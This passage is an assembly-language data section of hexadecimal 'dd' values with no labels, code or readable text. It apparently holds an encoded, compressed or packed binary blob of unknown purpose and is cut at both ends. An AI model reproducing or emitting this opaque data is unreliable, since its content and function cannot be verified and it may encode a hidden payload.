5D93CA24h, 0E01F1FE4h, 0FE3BF8h, 0B2830F28h, 308D8Bh dd 0E81E4053h, 6B3C1219h, 1876B3F6h, 4F07F400h, 8A05C283h dd 5F3203F5h, 0FFFA9629h, 8625DFB0h, 6A0033FAh, 0F1450B0h dd 189F87h, 6F22832Dh, 5940EFF7h, 0BC895407h, 0FAB04975h dd 0D1C680h, 83740567h, 724FBA68h, 0F021D605h, 0F780753Bh dd 488063h, 74182D7Bh, 0C69F3F3Ch, 8A424B00h, 0D241652Ah dd 478100EFh, 17C5625h, 6800625Bh, 12F03918h, 1DBDDA1Ch dd 0C07FC9A0h, 564767B6h, 6A4CFE15h, 340015Bh, 9EC75281h dd 772F9CCCh, 0BE053E86h, 44CA5900h, 8475F8A7h, 0FC1C400Bh dd 0DF3A0953h, 142B080h, 743CC23Bh, 226C000Ah, 0F4CF286Eh dd 4DE9009Fh, 254013A9h, 743AE448h, 0F74A829Dh, 60553899h dd 0EB75949h, 611DE1ABh, 51889A38h, 790B6603h, 0C88FC743h dd 714A610h, 3758E1A5h, 0E4069159h, 8EBD4092h, 4D786599h dd 0EA058DECh, 0B8E0A02Fh, 0F08B67C3h, 1B49B7Dh, 5D3EEBC2h dd 21E6AD71h, 0CB9A60CBh, 0DBC04D00h, 7C2FBADCh, 63760022h dd 5D50EA53h, 691FC973h, 5B1FFC96h, 97B89880h, 1F86D71h dd 679D18C2h, 0E0E22D24h, 7C7F1CD7h, 0ADD45C04h, 4980CDD8h dd 74F45969h, 0A5270379h, 8867DD25h, 12D865ABh, 5513B2ECh dd 20B8D0E5h, 1797EA00h, 0F8A53D23h, 15286728h, 0CCB3DF01h dd 484666C4h, 2F55DCh, 99C76806h, 0AB6E1597h, 54B34B33h dd 89DDD8CBh, 0A36800CFh, 0DA90E805h, 0B001E2Dh, 71D3A009h dd 78F25274h, 12FEB4h, 0E15AE659h, 708EC6Bh, 0C71C6300h dd 0BF0244F6h, 0C57284h, 0E28CB895h, 573FC9E4h, 13B07E00h dd 1541FF4Dh, 7B3C0040h, 273B9591h, 7800CB69h, 7EFDDA92h dd 90C916h, 0D302D088h, 49F3D69Dh, 18000574h, 955B1C36h dd 24588496h, 28FFF01h, 4E1E2B2Eh, 0C1574740h, 2894200h dd 598CF986h, 3FFCFAh, 78C89F0Ah, 9A4D1025h, 0FD45140h dd 53B05297h, 4009EB60h, 3500DE2Ah, 8CEEF992h, 1F5888FDh dd 43A63C24h, 2149B11h, 0D15298D0h, 8034F03Bh, 0B948A2FFh dd 0FFC097Bh, 0E946DADCh, 4D000D3h, 0D840FD2h, 39EE0200h dd 28ECC336h, 768390F6h, 0A350008Fh, 1466D4E2h, 3A00D845h dd 0DB138D16h, 39A53EBh, 0BBD3FBACh, 7BE0B603h, 3C00E340h dd 0AB866711h, 0E27D049h, 0CF467107h, 801DE800h, 4D7F0326h dd 59C11700h, 62478CD5h, 3CD91DB6h, 58CE45D2h, 6F2A8066h dd 103BBF86h, 233EAC45h, 4B074703h, 0B4C7E825h, 8230014h dd 0A9A1F9CFh, 70F50212h, 2B2C1CBAh, 881D3706h, 1BAC2040h dd 0E3D01h, 265A366Bh, 0BF4D50EDh, 0A1CD1C00h, 0A094C3C9h dd 453055Dh, 0E1D79C4Ch, 333E818h, 0A4140800h, 0C415BB86h dd 582BF01Dh, 5003835Dh, 78AD0364h, 0DEB014EBh, 0F1071EA8h dd 1832825Eh, 0C04B050h, 4C9F05D3h, 80DE7E75h, 83E9D5BEh dd 3A1D7B77h, 308F03C9h, 9D14020h, 14266Ah, 48A0AC52h dd 2C82B718h, 663DFB98h, 8A98009Dh, 0C321C954h, 2B8E2699h dd 71780158h, 0C4453561h, 0AD001238h, 14EB7F33h, 0B2C4396h dd 2F847D18h, 90DDC980h, 324C826h, 3F17E3FBh, 0A1575A00h dd 50CFFD2h, 83CD3B24h, 87D30023h, 0F210D455h, 127D600h dd 0B018C0F1h, 24C4070Eh, 302814BDh, 40CB439h, 0B376871Dh dd 0C884B900h, 17E902h, 0A2DD47E8h, 7E82F0BCh, 0B143A300h dd 0F37D08E2h, 0FA3D0364h, 1EF2FF4Fh, 387FEDF8h, 81430400h dd 0BFB31853h, 0BA0250A7h, 1EE2003Ch, 93843042h, 0D05C20F4h dd 40DE0052h, 2C34E4A1h, 0BD8500F8h, 5938C843h, 7A000BFCh dd 0C9535F84h, 2E8822h, 0B8C10104h, 4E603F10h, 3437BF1Fh dd 0C7E50A03h, 6575C8FCh, 537D00FFh, 28521BC1h, 90011D45h dd 74F685A5h, 55200F5Fh, 8B391ED1h, 0E5803AEEh, 0FDC44BAFh dd 0F202A6FBh, 3E642C25h, 0E018425Ch, 68548Ch, 96F809A4h dd 75FF9240h, 18492201h, 8E9BF12Fh, 4320C121h, 0C6B055h dd 0F4C5E987h, 422B610Ah, 0E8408200h, 9A57A34Dh, 517D0332h dd 0D444C960h, 0F77E88B0h, 3F509600h, 225BA38h, 0A786007Bh dd 6C8331C1h, 0F000CD71h, 3624EB62h, 53FE04h, 0F7E88AFBh dd 4B1E433Ah, 0A078756Fh, 8CE2FF03h, 11D507FBh, 0E0DE9421h dd 7EF0E599h, 84233200h, 31D016A9h, 96544C9Eh, 4A210075h dd 20622464h, 97EA433Ch, 18850400h, 0B2557329h, 486A02F3h dd 2BF0F449h, 35C5CBE0h, 90A93700h, 93075DD3h, 2AE10010h dd 5FEB5530h, 0BD008018h, 2FD73B3Eh, 0E30D72h, 730E1F3Dh dd 2ACAC106h, 81FEBECh, 87C3F83Ah, 0E8E6E375h, 5E9F8Eh dd 0DC102DC0h, 0F61CE881h, 16442200h, 0BC88EFC3h, 7B92004Fh dd 84FE2D2Ah, 0E60F5053h, 0C04BAC4Dh, 29A1E0E8h, 89853F42h dd 9CF58C81h, 0ECA83EF4h, 0DDEADAC7h, 1CBC530Eh, 0EE4B609Bh dd 0EE4692Ch, 5427D2A5h, 89051360h, 12006BA4h, 3C9FFB5Bh dd 1107053h, 88E22A11h, 0D9182134h, 4C0DD851h, 87493800h dd 50A28C91h, 907515h, 8041FAD2h, 406AF633h, 30FFE21Dh dd 902D7580h, 0F66070Bh, 5A4D3881h, 78832400h, 7400E03Ch dd 82801E4Bh, 768F303h, 5615FC99h, 8108A023h, 4500503Eh dd 27414C6h, 38F6B572h, 3CF069FCh, 24006AF0h, 0EB4EBB28h dd 0FE744A5Dh, 1A83121Ch, 5F1F0240h, 90136574h, 72D9008Dh dd 841464DBh, 0EB730C62h, 7839F602h, 6031B849h, 5021F8FCh dd 79E7C53Fh, 34BA3E46h, 91005FD8h, 525AB774h, 0D5002367h dd 8E037F86h, 5C16EB3Ch, 0DA00CB77h, 0C8D0D73h, 0D103DD33h dd 7B84CF21h, 9C963B04h, 0E490E58Bh, 0C4C5700h, 0BE006C5Bh dd 4EC426A3h, 265EA10h, 0D08FABBCh, 0AA406982h, 900F4916h dd 770A120h, 6B77880Ah, 0C689AC90h, 31FC020Eh, 0CACF49C9h dd 0B2C09740h, 0C87030FCh, 19E98800h, 0B6F28AF1h, 66182708h dd 784BA077h, 89351209h, 440E0C34h, 0DA1C4275h, 9B803E80h dd 0D2F75BD3h, 25D100E4h, 57AD089h, 0B928C8ECh, 4B00C4B7h dd 72D54442h, 6B0EBh, 2ECBE1F3h, 16867799h, 0B4C30330h dd 5F547Dh, 50B9B3A7h, 33135CEAh, 0AF530100h, 58AE9E35h dd 28680FA0h, 5C60B55Fh, 50895294h, 59B18500h, 8A0BD123h dd 0D8800002h, 0A126758h, 42F05F2Eh, 0F0754905h, 0B7ECA1B0h dd 92BDC00h, 0F35D5AF9h, 79A55401h, 0E5957458h, 29FD7280h dd 5BC85614h, 0D7FCD200h, 9857701Ah, 78402E4Ch, 6040729h dd 0F44AF0A3h, 0BF00FE41h, 1D17BD82h, 0E6E3E80Bh, 2585002Dh dd 0C65A4F78h, 733F61B2h, 1B770019h, 0AE933B3Ah, 591A2675h dd 0BA8100DDh, 3021C2Fh, 86EFD81Dh, 54971100h, 3C3969Bh dd 8A0A9BCh, 0D1D848EBh, 2A383988h, 16E6F91Bh, 52432D00h dd 0E923BCC7h, 20B8F2h, 18583BBDh, 2F73820Fh, 4F93B200h dd 22C43DAAh, 591004F0h, 8394E22Dh, 51B360E9h, 0D5B80CB0h dd 0B9013100h, 0D75C2042h dd 0B871E645h, 13F270B5h, 173EFE08h, 272F0039h, 0BAF7E07Eh dd 893055FEh, 80093AF4h, 0B72009F1h, 0C58302F9h, 0FFE8B204h dd 0CD9E567Ch, 6A513800h, 9A9C73h, 95880813h, 977CB85Ah dd 0C5BBF400h, 1561EA0Ah, 0F1100003h, 4912510Dh, 0A4581D0Eh dd 802C3F8Ah, 5E077562h, 0F8CA28h, 48EFE842h, 0A0E0FF96h dd 65E4C800h, 0DFBCBA95h, 7C60000Bh, 44AE545Fh, 0AD7BE093h dd 6972000h, 1A2643C6h, 4EB0001h, 7893DD0Dh, 540022CCh dd 2C085011h, 1E6D799Fh, 4057F12Dh, 730989F0h, 4600C630h dd 0F34E8DD6h, 0DE8CADh, 258B5967h, 0CBEFB91h, 5021C607h dd 28F0B256h, 0FEADB5DDh, 76D0FB59h, 30D11E20h, 0D5C5876Bh dd 751C5081h, 1EC339CFh, 80B1D62Bh, 0FD9B7Eh, 10E87349h dd 1EBB92D4h, 6328100h, 8E004E4h, 0D81F00DCh, 0A8F355D3h dd 0C4003121h, 0D6BDAEFBh, 9820A9Ah, 5FFE65CBh, 4F1A180h dd 5802EA81h, 0B3542F78h, 2ADDE0C4h, 0F5C20216h, 5F2664A2h dd 8A9360E0h, 831E4712h, 18446700h, 2E6689F7h, 30FC27Fh dd 0A4504824h, 0C9F858E0h, 6205D00h, 75894EF0h, 0F64A05BCh dd 0C0762CB4h, 0C7B3466Dh, 9D0F5000h, 1F2F2D82h, 5A901E55h dd 0EA484097h, 0CE223746h, 750058F4h, 196577EEh, 514B011h dd 3B398285h, 0B0AF8718h, 45807534h, 1AC5EC00h, 0EBE0176h dd 0CA020061h, 0D9A4AF06h, 0FE730D13h, 0C7958600h, 0AD775304h dd 5F8B00AEh, 0FB7D80C2h, 0CDEE88F0h, 2F008D7Bh, 0C715C663h dd 0B86F110Dh, 0E4101201h, 0BCFA0282h, 7E609D2Ah, 0DA0333EAh dd 7468C075h, 0C03FB331h, 35817A9h, 3E7995CEh, 1CE07567h dd 0F35EE26Fh, 0DC00F5A8h, 5114F669h, 4800B7DFh, 268DD83Bh dd 7A011A1h, 0AF07BA12h, 0D4F17174h, 7D85E454h, 5C38591Eh dd 0CAF23F00h, 1E74032Dh, 8562CCD6h, 0C09118AAh, 645A0A94h dd 3EC510Bh, 454500B5h, 1E05BAD4h, 5077D2Eh, 0FEAA81C4h dd 0C0FD2FC2h, 0E3AE87h, 0CAB541Ch, 6238FE95h, 0A032D32Eh dd 0FF22B400h, 0EE7384h, 0B0109C72h, 4BE7E968h, 8D2B60FBh dd 91DD9500h, 8C2E63E1h, 931313F0h, 420F003Fh, 0A6B1EB70h dd 0E7772200h, 0C75F4086h, 2C835C90h, 0C049F21Fh, 6A138C23h dd 0B500F4EBh, 7385DB51h, 16BA0221h, 0CAB4F2h, 53222A75h dd 0D800720Dh, 52C38A1Ah, 72865E01h, 0A76900E9h, 80D7B021h dd 334CCD38h, 401100B1h, 742E120Ah, 94D80066h, 0E0F42201h dd 1700FFFAh, 0C01D7525h, 0F467FE50h, 837713h, 0B2C9BF02h dd 0B152535Ah, 8AB32100h, 80C1B75h, 64560797h, 0E0D3220Fh dd 9E060DC9h, 5CE22B00h, 982D14E5h, 743300E9h, 4F9F6828h dd 5EF6FB42h, 0AA195507h, 3FAF18CBh, 463264C1h, 29EC4B35h dd 0F17B00ECh, 8BA1A490h, 82039F1Ah, 2717677Dh, 7F319177h dd 2E7142F8h, 0A07BEh, 66A01D8Bh, 79003064h, 0F6035FF8h dd 7AA1C6B8h, 5C97009Ch, 0D82E53A3h, 4D0B5BD0h, 0A94210h dd 4A445A6Ch, 9BBA1DCDh, 0CBA600C3h, 0FAE6C47Fh, 2FFB9E03h dd 0E01A57FCh, 293865h, 0D8DB3BA7h, 345D36E3h, 6C12A5EEh dd 0BBF49Bh, 6A0FE00Eh, 0EBEC9D01h, 1A0A9900h, 0ABC48688h dd 6753A29h, 0A1BD9000h, 0CAA73D68h, 0A8155D01h, 0B2BBFB92h dd 0EAD7C0h, 994AD02Dh, 0A436A010h, 763E8800h, 7D540AFDh dd 385F00BAh, 0B805D5E7h, 0EFA058CCh, 1CE2158Ch, 2CDF8900h dd 0B50ED494h, 0B0930383h, 0F0B86D5Ah, 2B89EFB0h, 59F46A00h dd 0E20E53F8h, 0EC480022h, 63C5035h, 0CE0FA63Dh, 0A0A11328h dd 0A03EBC96h, 0FCA4001Ch, 60C40647h, 0F24C3468h, 7890326h dd 0C0BBFD85h, 0BC5C58h, 0C275F803h, 0D35BC068h, 0DF29BF00h dd 669CDC88h, 7CCF842h, 6C4617B6h, 0A034B021h, 64394C9Eh dd 0EC62003Ch, 0D5F8101Fh, 27973A4Eh, 0F0F47AFFh, 48EE0Dh dd 0EF38DB79h, 0E552EE19h, 8F02333Dh, 0E1644414h, 4CE36837h dd 13AEDCCh, 54203D61h, 0F8430C7Fh, 8FA34B1h, 0C422B900h dd 0B32BAB2Dh, 0BB580012h, 0D6154E25h, 1D7F943Bh, 49792AC0h dd 72656B3Ah, 5E3C2466h, 36B401F3h, 302CD94Eh, 19074246h dd 82EB9A90h, 2A230360h, 584507B6h, 0B301B7AAh, 1EE83724h dd 62126A99h, 0B90136A7h, 4B03A045h, 4E52D0h, 7CF04C9Ah dd 9ED4475h, 0A954F513h, 419ED900h, 1CCA56DCh, 0C01C4950h dd 745F6547h, 0FCF161EDh, 7A037B64h, 20C37371h, 0BF69D852h dd 78450091h, 66DDF663h, 4CFCA0D3h, 73007CFCh, 4518F99Dh dd 0F0106D53h, 31880024h, 0C9028B62h, 3B00082Dh, 0DDD6F8E1h dd 0AD8D79h, 28FCD489h, 9C3A7D72h, 572EEA00h, 86CA3E62h dd 0C9113EF4h, 0EFE20683h, 26B05C78h, 5812753Dh, 9E008415h dd 0C74A8B28h, 11E21E3Ah, 0E8C000A5h, 0C4EAEF27h, 0D22E4F00h dd 2071740Ah, 7D7E02h, 0F9EEE7E0h, 453DB664h, 0C42A0800h dd 0CBC70D14h, 439E00D6h, 3F816605h, 0FD0025FFh, 26E83DD2h dd 1C6CEFh, 1E389507h, 0AA2769C4h, 0A6D6241Dh, 0E0E85A8Fh dd 0EE3AE1B5h, 91670053h, 0C64E3E10h, 3F034F55h, 4B7AD2B1h dd 0D875CBC9h, 0C3FA50h, 6F0032Ah, 26F3F85Bh, 80CE103Bh dd 52E22C92h, 0A46DA7h, 0B3446BEFh, 0C308BB43h, 0CA535026h dd 0F53B1700h, 0E68B828h, 0D2395411h, 89782B40h, 6A000AC8h dd 0A7B052B2h, 7CA10974h, 0EAD1F4CEh, 713800EBh, 0BD5EBFAAh dd 9007D0Eh, 5478D68h, 0FE63ECE2h, 0D52C0378h, 0A06171Dh dd 0C20146F0h, 6900E8ECh, 1505ED39h, 0FE388934h, 65C31FBDh dd 6581E542h, 0E0A00E6Eh, 2B00DE8Bh, 81E41C5Dh, 714FBh dd 646885BDh, 162F8629h, 8AEAAC00h, 0E455121Ch, 4A4800F7h dd 278358E0h, 2B3B04EBh, 5F9E9F68h, 7D19F3C0h, 0F05497h dd 0B4517F52h, 38783644h, 324638h, 33D08B56h, 0FEBF6h dd 80068A7Dh, 5742FF9h, 5C5F0A00h, 42F29007h, 0F3A00D7h dd 0ABD0EC09h, 0A6000354h, 0FCC34A5Eh, 7C75F7F0h, 17E51753h dd 42470030h, 0B8A0D73Ah, 0DF822900h, 0FCE488D1h, 7E3700BEh dd 95EB1C7Bh, 177892F7h, 0DA19A10Fh, 3CA900EDh, 0FD3E8Bh dd 9A708845h, 0C94F943Ah, 1241520Eh, 0F4538024h, 284ADCh dd 6389E2C1h, 3C7B8E5Dh, 3B7CE800h, 5C033A78h, 1D1C003Fh dd 40F61304h, 5F0B148Fh, 34A5A5Bh, 0F16886E4h, 6520C13Bh dd 0F0A61C8Ch, 209FBD8Eh, 0D9B5001Ch, 301BAD96h, 0BE95D500h dd 4A4D8EBFh, 687F3F73h, 0C49D5100h, 45EB3E70h, 34A97D0Eh dd 35C07EE4h, 2147D3BDh, 506F00E0h, 2F58107Ah, 93F8B702h dd 0FEE96E05h, 0CB010FFFh, 0C231A26Ah, 0C0428820h, 2E06BA34h dd 0EEFF23A3h, 0E59BC05Fh, 0F8DC00BBh, 0BF94B054h, 5B0263D0h dd 78DFE964h, 322861ACh, 1331803Bh, 0EFFC6C75h, 625C2300h dd 0FDFB447Ah, 0BEE70361h, 0BB4EDF1Eh, 792C63F8h, 0F86D5E1Dh dd 202ED980h, 0F72A6Bh, 4C7D62AEh, 7986E34Fh, 6DDCE03h dd 0D8ACF63Ch, 641A53h, 0B38D702Eh, 14B67582h, 52509F07h dd 0FBC15DCFh, 0B9EC4E78h, 0F88400F0h, 6BB453FEh, 74039714h dd 0FABD0DA7h, 48C2F81Fh, 0E8830002h, 30B83AA2h, 202C264Bh dd 0B501D512h, 762C4306h, 0F00A89D0h, 0EF6D099Bh, 0D88029FEh dd 66C78B3Fh, 547E9AFCh, 0A9165Ch, 55FC4492h, 51930Fh dd 0CF10B22h, 16F8678Bh, 0CFBE7503h, 0B0381ACEh, 0C0103Ah dd 0FE124B1Ch, 74C9DD6h, 7D00ADB0h, 0CB51ACFCh, 972F10h dd 4F022944h, 7E12A90Ch dd 8F0B870Fh, 31F9802Dh, 1CE3543h, 9422274h, 0D9192436h dd 0E910D137h, 1C85E83Ah, 83B8B73Eh, 8CEC7DC2h, 33C0EFA5h dd 0EF57519h, 4D88982Bh, 8669680h, 553D4126h, 0EB3B9C4Bh dd 39F98443h, 8AEA0715h, 70F8AB27h, 4B8296ACh, 4A337C00h dd 0F2F5EB8h, 51760084h, 38F1DFABh, 413FAF98h, 2CB9C7h dd 951DAC9Ch, 0E106097h, 5EFF483Bh, 8D1C3040h, 0DF7A0853h dd 0C1E1500h, 0ABF656Eh, 4A4B00EBh, 42203911h, 0E526695Bh dd 0C80001C9h, 0F32D91Bh, 79E005Ch, 830E731Eh, 8D3E0401h dd 0B490F485h, 8074F83Fh, 0DC8265BEh, 0EDB71069h, 774BC0h dd 155C81Eh, 0CBD52EC9h, 0A2F91600h, 64146E09h, 7507846h dd 70965534h, 0C6B75160h, 3ED7F092h, 0FCFC73Fh, 61E9E0E5h dd 6C79FE9Fh, 1FC5E2C4h, 0C0146A43h, 0E958C08Fh, 1CB82EF1h dd 5C087D00h, 3F840ADh, 0B93500B4h, 0EF8B0689h, 0A5EE795Dh dd 4B437000h, 460307C0h, 0C3E0048h, 0F02B0A33h, 0E800244Ch dd 592556AFh, 12EB007h, 0C8471F8Ah, 0E44E4034h, 49004423h dd 16051F2h, 71EBB1h, 37195E3Ah, 2A41775h, 50A08900h, 2ACAD555h dd 7F230F40h, 0CF40D82Bh, 38C852EBh, 907C3903h, 0BF366425h dd 1A296A80h, 185FE17h, 72F107A6h, 0D08E924Dh, 0EB007534h dd 0D04AD58Bh, 20BA61h, 0E36E9E65h, 408D85E1h, 80CFAA00h dd 423F3908h, 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh, 0C8D6ADB2h dd 8A904E07h, 0C03EE6F0h, 82060050h, 12AEF392h, 0BFFE0156h dd 30FB6C00h, 2F144184h, 4C453E06h, 0FA950072h, 0C3F43CE9h dd 3A00EEDBh, 100821FCh, 75188A74h, 931C0205h, 9BE842BBh dd 40F59061h, 59C474DFh, 13305F1Fh, 0F8E895DEh, 0D9008275h dd 202ABF22h, 7AED0Eh, 59D474BDh, 1C9AAAD7h, 5424D207h dd 0F5407F82h, 7995ECB4h, 0FC21771h, 20860F76h, 9FAB7200h dd 0DC5EE051h, 0EEF1B5F1h, 857C0A80h, 4190B138h, 89B62B00h dd 276EAED2h, 8178B7h, 1DC2881Ah, 0F222287Dh, 0A84ACE00h dd 0FDBD11B9h, 0B80B004Bh, 0A443465Ch, 10009AABh, 0BC998EECh dd 0C7555Ah, 8870540Eh, 3C9EDF8Fh, 0FF72E300h, 5DADC815h dd 0F9340031h, 7F1CE17Eh, 7300E90Eh, 0ECED33A5h, 0FC0C8BA9h dd 5C490036h, 12401D4Dh, 0E00BCC7h, 590546A1h, 3D8F6F11h dd 7222DCh, 0AF202414h, 0E8DBF93Bh, 468CF50Ah, 0DF05FE52h dd 51C71021h, 74288D30h, 6C030337h, 0E365FDCEh, 22261993h dd 52005D08h, 1666C4FFh, 42770004h, 0FD2AFBF8h, 111F32E3h dd 24400846h, 0BF2B4822h, 708B0044h, 2CEB256Dh, 4E00A471h dd 832019DFh, 79935145h, 0C0394B13h, 9216B691h, 60230400h dd 0CF542846h, 6AC50059h, 57AD8083h, 9700E0B6h, 5FEB2CF9h dd 117865h, 0BFE65AF1h, 0BB245818h, 7C8270BFh, 827C1CE8h dd 2FC640A1h, 0B503A39Ch, 0D7094673h, 8115A925h, 132C010Bh dd 204C8h, 33740B72h, 73B6C0FFh, 4F80E900h, 0CC35C937h dd 0EC680050h, 0C70328C2h, 0D0097DCh, 66B71348h, 42F75Dh dd 3785E9B1h, 0ED20CD6Ah, 0B551800h, 7A044908h, 5F2400D5h dd 39076010h, 50008402h, 56404D11h, 1E0A4218h, 8069EB68h dd 1032C765h, 481DF259h, 3FC10C50h, 9D423541h, 54B5F0h dd 57C1564h, 51E4B816h, 0FC30D205h, 90B0897Fh, 0ABE80041h dd 59FFDE38h, 51E2109Fh, 60F06D00h, 36F79720h, 40487A40h dd 26513C92h, 0DC883081h, 84C95600h, 0CEAA34D6h, 7FBF60Eh dd 1FF200Fh, 558DB13Dh, 80A54724h, 13FA8347h, 0BF089916h dd 438CA500h, 110C648h, 0AD4A3063h, 0E8A8C40Eh, 0B2002A69h dd 66771203h, 1DE740AAh, 7D957489h, 4FF00D80h, 2032C175h dd 6C013Eh, 29BCC951h, 78910868h, 3C960014h, 850D2833h dd 253E3DEDh, 0B92200DBh, 3A15D973h, 0DAFC20h, 5F13F516h dd 0A5AF27CCh, 0FF307500h, 5D5AFC61h, 0D0FD073Fh, 0B01A37B2h dd 0F1AFECB7h, 0BD55B00Eh, 0C5D9A02Fh, 4F94708h, 296145E4h dd 808B8549h, 9B4482D3h, 0C489AE01h, 0F324DA12h, 84AE0E7h dd 38913922h, 7FA551BCh, 0F812D783h, 0FD4B31E0h, 88C59701h dd 217E3B6Ch, 6580898h, 0E0001486h, 0A9298E0Bh, 3F407DDCh dd 82804AEFh, 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h, 58EC69F8h dd 1DC7781Dh, 0C1E54043h, 7E8E0C08h, 94C5DE00h, 0BBB32927h dd 5CB10F66h, 4A606FBFh, 95FD7A2Eh, 7ECE42ECh, 7CEB8717h dd 0E4C2B5A0h, 43480047h, 580E11DDh, 8005104Dh, 8DFCA54Bh dd 0A2B380FBh, 9000A45Ch, 0EE0BB33Ah, 2BEAA0h, 4B8A2FF4h dd 74CBA8D9h, 575A0F00h, 0E8F64E0Eh, 7FED0024h, 5DC62CBCh dd 0CF7D6D08h, 3DE2183Fh, 271F7EDBh, 444E8EFAh, 3B974014h dd 1A1822h, 507E10B2h, 933E91ACh, 0FC147B00h, 0E0CF203h dd 18320070h, 1BC96806h, 243EE58Dh, 45F80A7h, 27BE3816h dd 42A900F5h, 104759FBh, 0D20E4EC6h, 20761A3Ch, 85EA1465h dd 0ADD63BABh, 0F3CE4F04h, 36608156h, 7303E006h, 5706C00h dd 7868CB77h, 0F5740F4Ch, 27A0B3EEh, 56247614h, 40E59D03h dd 0B04ED74Bh, 734CC811h, 53C30042h, 49D82A21h, 770740DEh dd 3EBC5193h, 740130E0h, 7B830063h, 5DB3C36Ch, 14000C20h dd 81185740h, 1F1C0251h, 40084B04h, 0FA8B4507h, 14046B22h dd 80E0F992h, 763F8680h, 0EEA002Bh, 497444F6h, 0C90AFCC7h dd 9166D8A8h, 1CC1949Eh, 55DF10E2h, 77706871h, 60EA4Dh dd 0D57756A2h, 0A328E853h, 0EA43D00h, 0B0744301h, 0E3BF0092h dd 90AD9344h, 840080F3h, 1B6E7821h, 72997E4h, 0D69C0979h dd 421C8028h, 27038C3h, 9678732Eh, 6B1EDD00h, 201018h dd 0EB7C74A7h, 0BE433D23h, 577622E8h, 84932700h, 0C697515Bh dd 4C7200EFh, 0D2077844h, 0F800B303h, 384E31C4h, 0E9088D9Ch dd 0EE4B54D8h, 0CA201FF3h, 0A0594169h, 4070211Ah, 326A9B05h dd 6CA2E407h, 0ACB0A943h, 84258Ah, 5419A457h, 4D68809h dd 0BA442039h, 7826DC5Ah, 85CCC00h, 97948C9Ch, 80960041h dd 14819844h, 38000988h, 1C08119Ah, 467FE8h, 109BB802h dd 29A27436h, 8F32093Eh, 0C7A6219Ah, 0F830C458h, 0E9006C3h dd 0C605111h, 87B009A0h, 460410Eh, 7171860h, 0A13600E8h dd 8C1B0C02h, 1A00DC10h, 21CCB408h, 0EAD40984h, 3A47519h dd 201F4050h, 0D8F38088h, 23D0F0DFh, 1100A081h, 4022E34h dd 0E82F7C22h, 5446004Ch, 9C49932h, 800516Ch, 22A4913Ch dd 5C2074h, 942C4457h, 0F8116489h, 0BC026600h, 6239DC26h dd 100900ACh, 52E00353h, 5A0E7933h, 0AF495931h, 90C0204h dd 0F460C124h, 7B38A320h, 0A8086164h, 0D4204137h, 0B10ECCC6h dd 66B8CB40h, 0E8C88D2h, 980870C8h, 11DC84E0h, 0CC1D1B48h dd 873FD9E0h, 1059E744h, 21F96050h, 2A18001Ch, 0CC29ECA8h dd 11315408h, 2B744824h, 0BE2330h, 75D17632h, 14EC6405h dd 4AC7ACB8h, 2670023Fh, 7A6359ACh, 0A828007Ch, 0A7C43818h dd 5B00F008h, 0F411C081h, 0A021B15Eh, 3026295h, 4C70253Ch dd 0A8D1409Ch, 50437089h, 2007657Eh, 58488824h, 51766CF1h dd 74A46C80h, 0AC12DC89h, 6DFC2212h, 20462C00h, 0C64B972h dd 58755171h, 810AA3B8h, 0D5891744h, 0B8261D00h, 1E117CC6h dd 9E43554Ah, 0DA440B4h, 4707E817h, 0E170280Eh, 6AC24225h dd 0A787F7D0h, 0DD010ACCh, 1C32007Ch, 0EC08B13h, 1558408Dh dd 0C6010013h dd 31181F84h, 821000Ch, 32032480h, 52E048E6h, 746E7500h dd 20656D69h, 0E27200E4h, 83DAE76Fh, 0EAFC6101h, 863B3000h dd 18455140h, 80112DBFh, 80191B57h, 0B5413938h, 57805E5Ch dd 0DEC0120h, 0A00A1D55h, 58C5C14Eh, 319C0C56h, 0F8AE31B8h dd 1007D430h, 1FC1F927h, 0F3911C23h, 0E20AD81Eh, 1897001Dh dd 7CF001ABh, 6C00A466h, 105AE433h, 0B70907ECh, 3896DEh dd 6C05265Ch, 4C185B66h, 7C006F74h, 128C8984h, 9C092494h dd 8791A448h, 0BCF3B475h, 0FBCCFBC4h, 0FBDCFBD4h, 0FBECFBE4h dd 4FCF8F4h, 0C5C0140h, 1C121489h, 2C48C424h, 22349107h dd 4C17443Ch, 0F81754F1h, 6CED64EDh, 0F67C6F70h, 8C120584h dd 824A9424h, 0BC80E5BDh, 5390408h, 8E641C00h, 6A236547h dd 5FA83E89h, 48605403h, 0C0F75808h, 6411610Ch, 0E2BCC803h dd 0B0316214h, 46801Ch, 88E02363h, 38C46494h, 1FEC7200h dd 306548E2h, 8C5E00F0h, 11660423h, 100D560h, 37842A93h dd 0E500D14h, 4B4A4847h, 4E4D4C02h, 534705FFh, 585737C0h dd 0A056005Ah, 454104ECh, 4F1C6A49h, 6301B811h, 68676664h dd 6C6B80EBh, 0AF6E5A6Dh, 74052F00h, 17A7877h, 61200176h dd 606F6965h, 9160B998h, 0C4A010DCh, 0A7AC0022h, 0C6E80901h dd 740E84AAh, 0E0315132h, 71B09840h, 9EB0FFh, 0C8101101h dd 30912009h, 44312200h, 2F388C34h, 69070041h, 33E8C79Ah dd 0B001E90Fh, 19F3F0F2h, 4520A490h, 1D2B90B8h, 0C0F822D4h dd 3C45581Ch, 741724DEh, 30408C48h, 0ECD444BCh, 59040288h dd 34121881h, 6420FA8Eh, 94227C91h, 0FFA84407h, 0C9001F7Eh dd 0C1BD8Dh, 9B382F3Fh, 6B707AFEh, 4B3E1D00h, 0AF51C049h dd 391A1CB6h, 931500F4h, 1B926CB0h, 5B78B424h, 95553B00h dd 708436F7h, 86B8E4h, 0CE0D4AD2h, 0F501DD09h, 0E3CD5300h dd 601DB413h, 0F820006Ch, 0A4225027h, 24009B03h, 41659885h dd 0F95018Fh, 728409E8h, 70589907h, 4070084Ch, 8900737Fh dd 0C5FF1C88h, 7CA3F003h, 75C80021h, 0A43110BEh, 0A67EE408h dd 1933D001h, 70EC09E0h, 0BA740D4h, 0F849CCC8h, 90D7A287h dd 0AD0A802Ch, 4A96C06h, 3E60A5FEh, 248EA838h, 68E35409h dd 84B87412h, 0B5A89048h, 0C80345B8h, 964C033h, 0EB32EB21h dd 4442E83Ch, 0B35A0350h, 0D2C08A24h, 3E08B590h, 152981Eh dd 3020779h, 6020504h, 0A266007h, 0D0C0E0Bh, 10400E0Fh dd 7894389Ch, 0A403BEBAh, 0C401811h, 0C40B99B4h, 7BD02620h dd 310D248Dh, 105C030Eh, 0E09B0E34h, 2001C0ACh, 90E61294h dd 0A8021376h, 1A6C3616h, 9C2D6019h, 1F401C80h, 7022C184h dd 0F77811CCh, 0A024B1D7h, 0C826E488h, 7A279924h, 20192801h dd 6E8954D9h, 3B003160h, 10012E34h, 